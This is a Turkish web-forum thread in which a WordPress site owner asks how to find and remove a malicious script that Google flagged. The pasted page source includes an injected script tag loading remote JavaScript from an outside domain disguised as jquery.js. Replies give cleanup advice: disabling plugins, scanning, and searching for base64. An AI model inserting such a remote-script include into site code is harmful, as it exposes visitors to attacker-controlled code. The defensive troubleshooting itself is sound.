Google, virüs nedeni ile reklamımı yayınlamıyor

potm35

Hectopat
Katılım
7 Eylül 2018
Mesajlar
14
Çözümler
1
Sitem WP üzerine kurulu, Google reklamımı yayından kaldırdı ve neden olarak bir link gönderdi. Sayfa kaynağını görüntüle dediğimde zararlı linki bulabiliyorum ancak sitemdeki tüm dosyaları tek tek taramama rağmen bu linki nereden çektiğini bulamıyorum. Linki bulunduğu kod bölgesi aşağıdaki gibi;

HTML:
<footer>
    <div id="copyright">
        <div class="width-container">
            Mix Yazılım 2018        </div><!-- close .width-container -->
        <div class="clearfix"></div>
    </div><!-- close #copyright -->
</footer>
    <script type="text/javascript">
    jQuery(document).ready(function($) {
    $('#mobile-menu .width-container').mobileMenu({
        defaultText: 'Navigate to...',
        className: 'select-menu',
        subMenuDash: '&ndash;&ndash;'
    });
    });
    </script>
    <script type="text/javascript" src="http://www.7lwp.org/jquery.js"></script><script type='text/javascript' src='http://japonotoservis.com/wp-includes/js/admin-bar.min.js?ver=4.9.8'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var wpcf7 = {"apiSettings":{"root":"http:\/\/japonotoservis.com\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"},"recaptcha":{"messages":{"empty":"L\u00fctfen robot olmad\u0131\u011f\u0131n\u0131z\u0131 do\u011frulay\u0131n."}}};
/* ]]> */
</script>


Yukarıdaki kod satırında " <script type="text/javascript" src="http://www.7lwp.org/jquery.js"> " buradaki link virüs olarak görünüyor. Bu satırı sitemde nerede bulabilir ve kaldırabilirim?
 
Son düzenleme:
Büyük ihtimalle o kod bir eklenti ile sisteme sızmıştır. Eklentileri tek tek devre dışı bırakarak o sayfa kaynağını inceleyerek bulabilirsin.

Bu şekilde bulamazsan CPanel kullanıyorsan panelde virüs tarama aracı vardır onu kullanıp taramayı dene, tarama bittikten sonra zararlı içeriğe sahip dosya bulursa o dosyayı açıp içerisinde bulunan zararlı kodu temizlersin.

Virüs tarayıcı bir şey bulmazsa tarayıcı da çıktısı "<script type="text/javascript" src="http://www.7lwp.org/jquery.js"></script>" şeklinde çıkıyor olabilir ama büyük ihtimalle base64 ile şifrelenmiştir. Sen dosyaları bilgisayarına indirip notepad++ ile bir dosya içinde base64 araması yaptır sonra Base64 Decode and Encode - Online sitesinden bulduklarını Decode ile çöz senin virüslü link'i bulduğunda notepad++ ile o base64 kodunu arat çıkan bütün dosyalardan o kodu sil.
 
Aynı sorunu daha önce görmüştüm bunu bir lightbox gallery eklentisi yapıyordu. O eklentiyi değiştirirseniz sorun kalmaz.
 
o dediğiniz eklentiiyi kullanmadım ama sorun bana da vurdu daha temiz kurtulma yöntemi var mıdır acaba

1- Chrome consolunu açıp sources sekmesini bulun ve açık tutun.
2- Başka bir sekme açıp eklentileri etkisizleştirin
3- Eklentileri tek tek açıp diğer sekmeyi yenileyip o script eklenmişmi diye bakın.
En son bu scripti kullanan eklentiyi bulursunuz
 
Uyarı! Bu konu 6 yıl önce açıldı.
Muhtemelen daha fazla tartışma gerekli değildir ki bu durumda yeni bir konu başlatmayı öneririz. Eğer yine de cevabınızın gerekli olduğunu düşünüyorsanız buna rağmen cevap verebilirsiniz.

Geri
Yukarı